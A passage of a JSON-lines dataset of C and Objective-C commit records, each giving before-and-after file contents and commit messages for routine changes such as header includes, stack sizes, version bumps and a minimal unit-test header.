followed\\n\"\n            \"by a file location.\\n\"\n            \"\\n\"\n            \"usage: cgba-sim-arduino-hab [OPTIONS]\\n\"\n            \" -?, --help             Show this information.\\n\"\n            \" -v, --version          Show the version number.\\n\"\n            \" -i, --id <ID>          Use ID as the HAB-ID (defaults to\\n\"\n            \"                        hostname if omitted).\\n\"\n            \" -a --arduino <FILE>    Give the Arduino file location to open.\\n\"\n            );\n}\n","subject":"Modify arduino hab help menu.","message":"Modify arduino hab help menu.\n","lang":"C","license":"lgpl-2.1","repos":"ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead"}
{"commit":"7c3180c7c705795684dd54b3fa98c647c7599732","old_file":"gfx\/gl_common.h","new_file":"gfx\/gl_common.h","old_contents":"#ifndef _GL_COMMON_H\n#define _GL_COMMON_H\n\n#if defined(USING_GLES2)\n#ifdef IOS\n\/\/ I guess we can soon add ES 3.0 here too\n#include <OpenGLES\/ES2\/gl.h>\n#include <OpenGLES\/ES2\/glext.h>\n#else\n#include <GLES2\/gl2.h>\n#include <GLES2\/gl2ext.h>\n#ifndef MAEMO\n#include <EGL\/egl.h>\n#endif \/\/ !MAEMO\n#endif \/\/ IOS\n#if defined(ANDROID) || defined(BLACKBERRY)\n\/\/ Support OpenGL ES 3.0\n\/\/ This uses the \"DYNAMIC\" approach from the gles3jni NDK sample.\n\/\/ Should work on non-Android mobile platforms too.\n#include \"..\/gfx_es2\/gl3stub.h\"\n#define MAY_HAVE_GLES3 1\n#endif\n#else \/\/ OpenGL\n\/\/ Now that glew is upgraded beyond 4.3, we can define MAY_HAVE_GLES3 on GL platforms\n#define MAY_HAVE_GLES3 1\n#include <GL\/glew.h>\n#if defined(__APPLE__)\n#include <OpenGL\/gl.h>\n#else\n#include <GL\/gl.h>\n#endif\n#endif\n\n#if !defined(GLchar) && !defined(__APPLE__)\ntypedef char GLchar;\n#endif\n\n#endif \/\/_GL_COMMON_H\n","new_contents":"#ifndef _GL_COMMON_H\n#define _GL_COMMON_H\n\n#if defined(USING_GLES2)\n#ifdef IOS\n#include <OpenGLES\/ES3\/gl.h>\n#include <OpenGLES\/ES3\/glext.h>\n#include <OpenGLES\/ES2\/gl.h>\n#include <OpenGLES\/ES2\/glext.h>\n#else\n#include <GLES2\/gl2.h>\n#include <GLES2\/gl2ext.h>\n#ifndef MAEMO\n#include <EGL\/egl.h>\n#endif \/\/ !MAEMO\n#endif \/\/ IOS\n#if defined(ANDROID) || defined(BLACKBERRY)\n\/\/ Support OpenGL ES 3.0\n\/\/ This uses the \"DYNAMIC\" approach from the gles3jni NDK sample.\n\/\/ Should work on non-Android mobile platforms too.\n#include \"..\/gfx_es2\/gl3stub.h\"\n#define MAY_HAVE_GLES3 1\n#endif\n#else \/\/ OpenGL\n\/\/ Now that glew is upgraded beyond 4.3, we can define MAY_HAVE_GLES3 on GL platforms\n#define MAY_HAVE_GLES3 1\n#include <GL\/glew.h>\n#if defined(__APPLE__)\n#include <OpenGL\/gl.h>\n#else\n#include <GL\/gl.h>\n#endif\n#endif\n\n#if !defined(GLchar) && !defined(__APPLE__)\ntypedef char GLchar;\n#endif\n\n#endif \/\/_GL_COMMON_H\n","subject":"Add ES 3.0 support for iPhone","message":"Add ES 3.0 support for iPhone","lang":"C","license":"mit","repos":"unknownbrackets\/native,zhykzhykzhyk\/ppsspp-native,zhykzhykzhyk\/ppsspp-native,unknownbrackets\/native,hrydgard\/native,zhykzhykzhyk\/ppsspp-native,hrydgard\/native,libretro\/ppsspp-native,hrydgard\/native,unknownbrackets\/native,libretro\/ppsspp-native,zhykzhykzhyk\/ppsspp-native,hrydgard\/native,libretro\/ppsspp-native,libretro\/ppsspp-native,unknownbrackets\/native"}
{"commit":"c968cf224a77473fd0670ec9d52a64ac6e153c7e","old_file":"_cdblib.c","new_file":"_cdblib.c","old_contents":"#include \"Python.h\"\n\n\/* Return a Python long instance containing the value of the DJB hash function\n * for the given string or array. *\/\nstatic PyObject *\ndjb_hash(PyObject *self, PyObject *args)\n{\n    const unsigned char *s;\n    unsigned int h = 5381;\n    Py_ssize_t len;\n\n    if(! PyArg_ParseTuple(args, \"t#\", &s, &len))\n        return NULL;\n\n    while(len--)\n        h = ((h << 5) + h) ^ *s++;\n\n    return PyLong_FromUnsignedLong((unsigned long) h);\n}\n\n\nstatic \/*const*\/ PyMethodDef methods[] = {\n    {\"djb_hash\", djb_hash, METH_VARARGS,\n     \"Return the value of DJB's hash function for the given 8-bit string.\"},\n    {NULL, NULL, 0, NULL}\n};\n\n\nPyMODINIT_FUNC\ninit_cdblib(void)\n{\n    Py_InitModule(\"_cdblib\", methods);\n}\n","new_contents":"#define PY_SSIZE_T_CLEAN\n#include \"Python.h\"\n\n\/* Return a Python long instance containing the value of the DJB hash function\n * for the given string or array. *\/\nstatic PyObject *\ndjb_hash(PyObject *self, PyObject *args)\n{\n    const unsigned char *s;\n    unsigned int h = 5381;\n    Py_ssize_t len;\n\n    if(! PyArg_ParseTuple(args, \"t#\", &s, &len))\n        return NULL;\n\n    while(len--)\n        h = ((h << 5) + h) ^ *s++;\n\n    return PyLong_FromUnsignedLong((unsigned long) h);\n}\n\n\nstatic \/*const*\/ PyMethodDef methods[] = {\n    {\"djb_hash\", djb_hash, METH_VARARGS,\n     \"Return the value of DJB's hash function for the given 8-bit string.\"},\n    {NULL, NULL, 0, NULL}\n};\n\n\nPyMODINIT_FUNC\ninit_cdblib(void)\n{\n    Py_InitModule(\"_cdblib\", methods);\n}\n","subject":"Fix 64-bit breakage introduced in rev 04f373b0e015","message":"Fix 64-bit breakage introduced in rev 04f373b0e015\n\nAccording to PEP-353:\n\n   \"The conversion codes 's#' and 't#' will output Py_ssize_t if\n   the macro PY_SSIZE_T_CLEAN is defined before Python.h is included,\n   and continue to output int if that macro isn't defined.\"\n","lang":"C","license":"mit","repos":"dw\/python-pure-cdb,douglasbagnall\/python-pure-cdb,douglasbagnall\/python-pure-cdb,pombredanne\/python-pure-cdb,douglasbagnall\/python-pure-cdb,pombredanne\/python-pure-cdb,dw\/python-pure-cdb"}
{"commit":"677551cb87d393832540e5d2b1c282c82a0bab81","old_file":"Settings\/Label.h","new_file":"Settings\/Label.h","old_contents":"","new_contents":"#pragma once\n\n#include \"Control.h\"\n\nclass Label : public Control {\npublic:\n    Label() {\n\n    }\n\n    Label(int id, HWND parent) :\n    Control(id, parent) {\n\n    }\n};","subject":"Add label alias for control","message":"Add label alias for control\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX"}
{"commit":"0594623991b24dc37c7a9934cbd87d486f564608","old_file":"SSPSolution\/SSPSolution\/GameStateHandler.h","new_file":"SSPSolution\/SSPSolution\/GameStateHandler.h","old_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#include \"GameState.h\"\n#include \"StartState.h\"\n#include \"LevelSelectState.h\"\n#include <vector>\n\n#define START_WITHOUT_MENU\n\nclass GameStateHandler\n{\nprivate:\n\tstd::vector<GameState*> m_stateStack;\n\tstd::vector<GameState*> m_statesToRemove;\npublic:\n\tGameStateHandler();\n\t~GameStateHandler();\n\n\tint ShutDown();\n\n\tint Initialize(ComponentHandler* cHandler, Camera* cameraRef, std::string levelPath = NULL);\n\n\tint Update(float dt, InputHandler* inputHandler);\n\n\t\/\/Push a state to the stack\n\tint PushStateToStack(GameState* state);\nprivate:\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#include \"GameState.h\"\n#include \"StartState.h\"\n#include \"LevelSelectState.h\"\n#include <vector>\n\n\/\/#define START_WITHOUT_MENU\n\nclass GameStateHandler\n{\nprivate:\n\tstd::vector<GameState*> m_stateStack;\n\tstd::vector<GameState*> m_statesToRemove;\npublic:\n\tGameStateHandler();\n\t~GameStateHandler();\n\n\tint ShutDown();\n\n\tint Initialize(ComponentHandler* cHandler, Camera* cameraRef, std::string levelPath = NULL);\n\n\tint Update(float dt, InputHandler* inputHandler);\n\n\t\/\/Push a state to the stack\n\tint PushStateToStack(GameState* state);\nprivate:\n};\n\n#endif","subject":"ADD commented out skip menu","message":"ADD commented out skip menu\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"2fefbbf03dbacb0ac6f5da487dad19bbe0958074","old_file":"source\/daplink\/interface\/tasks.h","new_file":"source\/daplink\/interface\/tasks.h","old_contents":"\/**\n * @file    tasks.h\n * @brief   Macros for configuring the run time tasks\n *\n * DAPLink Interface Firmware\n * Copyright (c) 2009-2020, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef TASK_H\n#define TASK_H\n\n\/\/ trouble here is that reset for different targets is implemented differently so all targets\n\/\/  have to use the largest stack or these have to be defined in multiple places... Not ideal\n\/\/  may want to move away from threads for some of these behaviours to optimize mempory usage (RAM)\n#define MAIN_TASK_STACK     (800)\n#define MAIN_TASK_PRIORITY  (osPriorityNormal)\n\n#endif\n","new_contents":"\/**\n * @file    tasks.h\n * @brief   Macros for configuring the run time tasks\n *\n * DAPLink Interface Firmware\n * Copyright (c) 2009-2020, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef TASK_H\n#define TASK_H\n\n\/\/ trouble here is that reset for different targets is implemented differently so all targets\n\/\/  have to use the largest stack or these have to be defined in multiple places... Not ideal\n\/\/  may want to move away from threads for some of these behaviours to optimize mempory usage (RAM)\n#define MAIN_TASK_STACK     (864)\n#define MAIN_TASK_PRIORITY  (osPriorityNormal)\n\n#endif\n","subject":"Fix k64f stack overflow during WebUSB flashing","message":"Fix k64f stack overflow during WebUSB flashing\n\nWhen flashing via the WebUSB interface (CMSIS v2) the K64F hangs and\nUSB eventually times out. This is because the main stack overflows\nduring this operation casuing RTX to trap and loop forever in\nosRtxErrorNotify.\n\nThis patch prevents a stack overflow by by increasing the main stack\nsize from 800 bytes to 864 bytes. Note - maximum stack usage recorded\nduring WebUSB flashing is 816 bytes.\n","lang":"C","license":"apache-2.0","repos":"google\/DAPLink-port,google\/DAPLink-port,google\/DAPLink-port,google\/DAPLink-port"}
{"commit":"860c40fee51dd87814b949a967ea77fd34e9fb1c","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 103\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 104\n#endif\n","subject":"Update Skia milestone to 104","message":"Update Skia milestone to 104\n\nChange-Id: Iafd9cf15ac3c42bda7fa6b6857a82dc2eae6d234\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/540296\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia,google\/skia"}
{"commit":"e09d9db1a20d9e93bdb568975f26687b94ba7f7e","old_file":"include\/hl7parser\/config.h","new_file":"include\/hl7parser\/config.h","old_contents":"#ifndef HL7PARSER_CONFIG_H\n#define HL7PARSER_CONFIG_H\n\n\/**\n* \\file config.h\n*\n* Generic configuration directives and macros used by the HL7 parser.\n*\n* \\internal\n* Copyright (c) 2003-2011 \\b Erlar (http:\/\/erlar.com)\n*\/\n\n\/* ------------------------------------------------------------------------\n   Headers\n   ------------------------------------------------------------------------ *\/\n\n#include <hl7parser\/bool.h>\n#include <assert.h>\n\n\n\/* ------------------------------------------------------------------------\n   Macros\n   ------------------------------------------------------------------------ *\/\n\n\/* Macros used when the library is included in a C++ project. *\/\n#ifdef __cplusplus\n\n#   define BEGIN_C_DECL()  extern \"C\" {\n#   define END_C_DECL()    }\n\n#else\n\n#   define BEGIN_C_DECL()\n#   define END_C_DECL()\n\n#endif \/* __cplusplus *\/\n\n\/**\n* \\def HL7_ASSERT( p )\n* Asserts that the predicate \\a p is true; if not it aborts the program\n* showing the predicate, file and line number where the assertion failed.\n*\/\n#define HL7_ASSERT( p )     assert( p )\n\n\n#endif \/* HL7PARSER_CONFIG_H *\/\n","new_contents":"#ifndef HL7PARSER_CONFIG_H\n#define HL7PARSER_CONFIG_H\n\n\/**\n* \\file config.h\n*\n* Generic configuration directives and macros used by the HL7 parser.\n*\n* \\internal\n* Copyright (c) 2003-2011 \\b Erlar (http:\/\/erlar.com)\n*\/\n\n\/* ------------------------------------------------------------------------\n   Headers\n   ------------------------------------------------------------------------ *\/\n\n#include <hl7parser\/bool.h>\n#include <assert.h>\n\n\n\/* ------------------------------------------------------------------------\n   Macros\n   ------------------------------------------------------------------------ *\/\n\n\/* Macros used when the library is included in a C++ project. *\/\n#ifdef __cplusplus\n\n#   define BEGIN_C_DECL()  extern \"C\" {\n#   define END_C_DECL()    }\n\n#else\n\n#   define BEGIN_C_DECL()\n#   define END_C_DECL()\n\n#endif \/* __cplusplus *\/\n\n\/**\n* \\def HL7_ASSERT( p )\n* Asserts that the predicate \\a p is true; if not it aborts the program\n* showing the predicate, file and line number where the assertion failed.\n*\/\n#define HL7_ASSERT( p )     assert( p )\n\n#ifdef __GNUC__\n#define HL7_UNUSED __attribute__ ((__unused__))\n#else\n#define HL7_UNUSED\n#endif\n\n#endif \/* HL7PARSER_CONFIG_H *\/\n","subject":"Add attribute for unused arguments","message":"Add attribute for unused arguments\n","lang":"C","license":"apache-2.0","repos":"jcomellas\/hl7parser,jcomellas\/hl7parser,jcomellas\/hl7parser"}
{"commit":"4e6c43c4fc864ae932243ee23cb5f104d0e342b3","old_file":"kernel\/kabort.c","new_file":"kernel\/kabort.c","old_contents":"#if defined(__linux__)\n\t#include <stdio.h>\n#else\n\t#include \"..\/tlibc\/stdio\/stdio.h\"\n#endif\n\nvoid abort(void)\n{\n\t\/\/ TODO: Add proper kernel panic.\n\tprintf(\"Kernel Panic! abort()\\n\");\n\twhile ( 1 ) { }\n}\n\n","new_contents":"#include \"kputs.c\"\n\nvoid abort(void)\n{\n\t\/\/ TODO: Add proper kernel panic.\n\tkputs(\"Kernel Panic! abort()\\n\");\n\twhile ( 1 ) { }\n}\n\n","subject":"Replace include stdio with include terminal","message":"Replace include stdio with include terminal\n","lang":"C","license":"mit","repos":"awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth"}
{"commit":"08d54e91deb4163df649161abadd5de89852c474","old_file":"APLifecycleHooks\/APLifecycleHooks.h","new_file":"APLifecycleHooks\/APLifecycleHooks.h","old_contents":"\/\/\n\/\/  APLifecycleHooks.h\n\/\/  LoyaltyRtr\n\/\/\n\/\/  Created by David Benko on 7\/22\/14.\n\/\/  Copyright (c) 2014 David Benko. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface APLifecycleHooks : NSObject\n+(void)setSDKLogging:(BOOL)shouldLog;\n+(void)synchronousConnectionFinished:(void (^)(NSData *downloadedData, NSError *error))hook;\n+(void)asyncConnectionStarted:(void (^)(NSURLRequest * req, NSURLConnection *conn))hook;\n+(void)asyncConnectionFinished:(BOOL (^)(NSMutableData *downloadedData, NSError *error))hook;\n@end\n","new_contents":"\/\/\n\/\/  APLifecycleHooks.h\n\/\/  LoyaltyRtr\n\/\/\n\/\/  Created by David Benko on 7\/22\/14.\n\/\/  Copyright (c) 2014 David Benko. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#define __VERBOSE\n\n@interface APLifecycleHooks : NSObject\n\n+ (void)connectionWillStart:(NSURLRequest * (^)(NSURLRequest * req))connectionWillStartCallback didStart:(void (^)(NSURLRequest * req, NSURLConnection *conn))connectionDidStartCallback;\n+ (void)connectionReceievedResponse:(void (^)(NSURLConnection *connection, NSURLResponse *response))connectionReceievedResponseCallback;\n+ (void)checkConnectionResponse:(BOOL (^)(NSURLResponse *response, NSError **error))checkConnectionResponseCallback;\n+ (void)connectionFinished:(BOOL (^)(NSURLResponse *response, NSMutableData *downloadedData, NSError *error))connectionDidFinishCallback;\n@end\n","subject":"Update method defs for v7","message":"Update method defs for v7","lang":"C","license":"mit","repos":"AnyPresence\/APLifecycleHooks"}
{"commit":"a83c10d6ea79771eb898a72ca7768b17fe23835f","old_file":"Menu\/Code\/UI\/BRMenuPlusMinusButton.h","new_file":"Menu\/Code\/UI\/BRMenuPlusMinusButton.h","old_contents":"\/\/\n\/\/  BRMenuPlusMinusButton.h\n\/\/  Menu\n\/\/\n\/\/  Created by Matt on 4\/17\/13.\n\/\/  Copyright (c) 2013 Pervasent Consulting, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class BRMenuUIStyle;\n\nIB_DESIGNABLE\n@interface BRMenuPlusMinusButton : UIControl\n\n@property (nonatomic, strong) BRMenuUIStyle *uiStyle;\n@property (nonatomic, getter = isPlus) IBInspectable BOOL plus;\n\n@end\n","new_contents":"\/\/\n\/\/  BRMenuPlusMinusButton.h\n\/\/  Menu\n\/\/\n\/\/  Created by Matt on 4\/17\/13.\n\/\/  Copyright (c) 2013 Pervasent Consulting, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class BRMenuUIStyle;\n\nIB_DESIGNABLE\n@interface BRMenuPlusMinusButton : UIControl\n\n@property (nonatomic, strong) IBOutlet BRMenuUIStyle *uiStyle;\n@property (nonatomic, getter = isPlus) IBInspectable BOOL plus;\n\n@end\n","subject":"Add some IB support for uiStyle.","message":"Add some IB support for uiStyle.\n","lang":"C","license":"apache-2.0","repos":"Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu"}
{"commit":"a9787a770a80293b0b709a49403460c9a380c9ed","old_file":"lib\/ReaderWriter\/ELF\/ARM\/ARMDynamicLibraryWriter.h","new_file":"lib\/ReaderWriter\/ELF\/ARM\/ARMDynamicLibraryWriter.h","old_contents":"\/\/===- lib\/ReaderWriter\/ELF\/ARM\/ARMDynamicLibraryWriter.h -----------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLD_READER_WRITER_ELF_ARM_ARM_DYNAMIC_LIBRARY_WRITER_H\n#define LLD_READER_WRITER_ELF_ARM_ARM_DYNAMIC_LIBRARY_WRITER_H\n\n#include \"DynamicLibraryWriter.h\"\n#include \"ARMLinkingContext.h\"\n#include \"ARMTargetHandler.h\"\n\nnamespace lld {\nnamespace elf {\n\nclass ARMDynamicLibraryWriter : public DynamicLibraryWriter<ELF32LE> {\npublic:\n  ARMDynamicLibraryWriter(ARMLinkingContext &ctx, ARMTargetLayout &layout);\n\nprotected:\n  \/\/ Add any runtime files and their atoms to the output\n  void createImplicitFiles(std::vector<std::unique_ptr<File>> &) override;\n\nprivate:\n  ARMLinkingContext &_ctx;\n  ARMTargetLayout &_armLayout;\n};\n\nARMDynamicLibraryWriter::ARMDynamicLibraryWriter(ARMLinkingContext &ctx,\n                                                 ARMTargetLayout &layout)\n    : DynamicLibraryWriter(ctx, layout), _ctx(ctx), _armLayout(layout) {}\n\nvoid ARMDynamicLibraryWriter::createImplicitFiles(\n    std::vector<std::unique_ptr<File>> &result) {\n  DynamicLibraryWriter::createImplicitFiles(result);\n}\n\n} \/\/ namespace elf\n} \/\/ namespace lld\n\n#endif \/\/ LLD_READER_WRITER_ELF_ARM_ARM_DYNAMIC_LIBRARY_WRITER_H\n","new_contents":"\/\/===- lib\/ReaderWriter\/ELF\/ARM\/ARMDynamicLibraryWriter.h -----------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLD_READER_WRITER_ELF_ARM_ARM_DYNAMIC_LIBRARY_WRITER_H\n#define LLD_READER_WRITER_ELF_ARM_ARM_DYNAMIC_LIBRARY_WRITER_H\n\n#include \"DynamicLibraryWriter.h\"\n#include \"ARMLinkingContext.h\"\n#include \"ARMTargetHandler.h\"\n\nnamespace lld {\nnamespace elf {\n\nclass ARMDynamicLibraryWriter : public DynamicLibraryWriter<ELF32LE> {\npublic:\n  ARMDynamicLibraryWriter(ARMLinkingContext &ctx, ARMTargetLayout &layout);\n\nprotected:\n  \/\/ Add any runtime files and their atoms to the output\n  void createImplicitFiles(std::vector<std::unique_ptr<File>> &) override;\n};\n\nARMDynamicLibraryWriter::ARMDynamicLibraryWriter(ARMLinkingContext &ctx,\n                                                 ARMTargetLayout &layout)\n    : DynamicLibraryWriter(ctx, layout) {}\n\nvoid ARMDynamicLibraryWriter::createImplicitFiles(\n    std::vector<std::unique_ptr<File>> &result) {\n  DynamicLibraryWriter::createImplicitFiles(result);\n}\n\n} \/\/ namespace elf\n} \/\/ namespace lld\n\n#endif \/\/ LLD_READER_WRITER_ELF_ARM_ARM_DYNAMIC_LIBRARY_WRITER_H\n","subject":"Remove unused fields in dynamic library writer","message":"[ARM] Remove unused fields in dynamic library writer\n\n\ngit-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@237883 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lld,llvm-mirror\/lld"}
{"commit":"a26f752285f822a3651bb75f78090bdbcbb7f9e5","old_file":"src\/omv\/xalloc.c","new_file":"src\/omv\/xalloc.c","old_contents":"\/*\n * This file is part of the OpenMV project.\n * Copyright (c) 2013\/2014 Ibrahim Abdelkader <i.abdalkader@gmail.com>\n * This work is licensed under the MIT license, see the file LICENSE for details.\n *\n * Memory allocation functions.\n *\n *\/\n#include <mp.h>\n#include \"mdefs.h\"\n#include \"xalloc.h\"\n\nvoid *xalloc_fail()\n{\n    nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, \"Out of Memory!!\"));\n    return NULL;\n}\n\nvoid *xalloc(uint32_t size)\n{\n    void *mem = gc_alloc(size, false);\n    if (mem == NULL) {\n        return xalloc_fail();\n    }\n    return mem;\n}\n\nvoid *xalloc0(uint32_t size)\n{\n    void *mem = gc_alloc(size, false);\n    if (mem == NULL) {\n        return xalloc_fail();\n    }\n    memset(mem, 0, size);\n    return mem;\n}\n\nvoid xfree(void *ptr)\n{\n    gc_free(ptr);\n}\n\nvoid *xrealloc(void *ptr, uint32_t size)\n{\n    ptr = gc_realloc(ptr, size);\n    if (ptr == NULL) {\n        return xalloc_fail();\n    }\n    return ptr;\n}\n\n","new_contents":"\/*\n * This file is part of the OpenMV project.\n * Copyright (c) 2013\/2014 Ibrahim Abdelkader <i.abdalkader@gmail.com>\n * This work is licensed under the MIT license, see the file LICENSE for details.\n *\n * Memory allocation functions.\n *\n *\/\n#include <mp.h>\n#include \"mdefs.h\"\n#include \"xalloc.h\"\n\nvoid *xalloc_fail()\n{\n    nlr_raise(mp_obj_new_exception_msg(&mp_type_MemoryError, \"Out of Memory!!\"));\n    return NULL;\n}\n\nvoid *xalloc(uint32_t size)\n{\n    void *mem = gc_alloc(size, false);\n    if (mem == NULL) {\n        return xalloc_fail();\n    }\n    return mem;\n}\n\nvoid *xalloc0(uint32_t size)\n{\n    void *mem = gc_alloc(size, false);\n    if (mem == NULL) {\n        return xalloc_fail();\n    }\n    memset(mem, 0, size);\n    return mem;\n}\n\nvoid xfree(void *ptr)\n{\n    gc_free(ptr);\n}\n\nvoid *xrealloc(void *ptr, uint32_t size)\n{\n    ptr = gc_realloc(ptr, size);\n    if (ptr == NULL) {\n        return xalloc_fail();\n    }\n    return ptr;\n}\n\n","subject":"Change memory exception to MemoryError","message":"Change memory exception to MemoryError\n","lang":"C","license":"mit","repos":"kwagyeman\/openmv,kwagyeman\/openmv,SmartArduino\/openmv,openmv\/openmv,SmartArduino\/openmv,iabdalkader\/openmv,tianzhihen\/openmv,iabdalkader\/openmv,tianzhihen\/openmv,openmv\/openmv,openmv\/openmv,iabdalkader\/openmv,SmartArduino\/openmv,tianzhihen\/openmv,openmv\/openmv,iabdalkader\/openmv,SmartArduino\/openmv,kwagyeman\/openmv,kwagyeman\/openmv,tianzhihen\/openmv"}
{"commit":"2720b5a73de4f2bcac26affa08b5e1303b5301ea","old_file":"components\/TARGET_PSA\/services\/attestation\/tfm_client.h","new_file":"components\/TARGET_PSA\/services\/attestation\/tfm_client.h","old_contents":"\/*\n* Copyright (c) 2018-2019 ARM Limited. All rights reserved.\n*\n* SPDX-License-Identifier: Apache-2.0\n*\n* Licensed under the Apache License, Version 2.0 (the License); you may\n* not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an AS IS BASIS, WITHOUT\n* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#ifndef __TFM_CLIENT_H__\n#define __TFM_CLIENT_H__\n\n#include \"psa_defs.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* __TFM_CLIENT_H__ *\/\n","new_contents":"\/*\n* Copyright (c) 2018-2019 ARM Limited. All rights reserved.\n*\n* SPDX-License-Identifier: Apache-2.0\n*\n* Licensed under the Apache License, Version 2.0 (the License); you may\n* not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an AS IS BASIS, WITHOUT\n* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#ifndef __TFM_CLIENT_H__\n#define __TFM_CLIENT_H__\n\n#include \"psa\/client.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* __TFM_CLIENT_H__ *\/\n","subject":"Update include psa_defs -> psa\/client","message":"Update include psa_defs -> psa\/client\n","lang":"C","license":"apache-2.0","repos":"mbedmicro\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed"}
{"commit":"821fe409e321fcc1c26f6525dae831280d91f36c","old_file":"Test\/src\/minunit.h","new_file":"Test\/src\/minunit.h","old_contents":"","new_contents":"\/*\n * minunit.h\n *\n * Source: http:\/\/www.jera.com\/techinfo\/jtns\/jtn002.html\n *\/\n\n#include <stdio.h>\n\nextern int tests_run;\n\n#define mu_assert(message, test) do { \\\n\tif (!(test)) { \\\n\t\treturn message; \\\n\t} \\\n} while (0)\n\n#define mu_run_test(test, name) do { \\\n\ttest_head(name); \\\n\tchar const * message = test(); \\\n\ttests_run++; \\\n\tif (message) { \\\n\t\ttest_failure; \\\n\t\tprintf(\" * %s\\n\", message); \\\n\t} else { \\\n\t\ttest_success; \\\n\t} \\\n} while (0)\n\n#define test_head(name) printf(\"Test %s... \", name)\n#define test_success printf(\"[OK]\\n\")\n#define test_failure printf(\"[FAIL]\\n\")","subject":"Add minimalist framework for unit testing in Test project.","message":"Add minimalist framework for unit testing in Test 